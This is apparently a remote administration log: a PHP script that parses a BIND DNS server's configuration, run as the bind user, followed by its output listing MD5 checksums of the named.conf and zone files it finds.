MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:35:27: Establishing a connection
2026-04-28 10:35:27: 

PUT: /tmp/pkp612334

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:35:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp612334; rm /tmp/pkp612334'

2026-04-28 10:35:27: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
